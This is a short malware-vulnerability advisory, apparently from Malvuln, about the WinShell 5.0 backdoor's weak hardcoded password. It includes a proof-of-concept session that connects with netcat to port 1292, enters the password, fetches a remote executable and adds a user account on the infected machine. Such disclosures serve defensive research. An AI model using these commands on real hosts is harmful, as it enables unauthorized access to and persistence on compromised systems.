Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/0faecbdfccf3144d487971ed47f3665c.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.WinShell.50
Vulnerability: Weak Hardcoded Password 
Description: The malware listens on TCP port 1292. Authentication is required for remote user access. However, the password "EliteKTHX" is weak and hardcoded within the executable. The PE file is protected by ExeStealth 275.a protector, after dumping the process the password is easily revealed.
Type: PE32
MD5: 0faecbdfccf3144d487971ed47f3665c
Vuln ID: MVID-2021-0415
Disclosure: 12/03/2021


Exploit/PoC:
nc64.exe x.x.x.x 1292
Enter Your EWG 0wn4g3z KTHX:EliteKTHX

WinShell v5.0 (C)2002 janker.org

? for help
CMD>?

i Install
r Remove
p Path
b reBoot
d shutDown
s Shell
x eXit
q Quit

Download:
CMD>http://.../srv.exe

? for help
CMD>s
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\dump>whoami
whoami
desktop-2c3iqho\victim

C:\dump>net user HYP3RLINX 666 /add
net user HYP3RLINX 666 /add
The command completed successfully.


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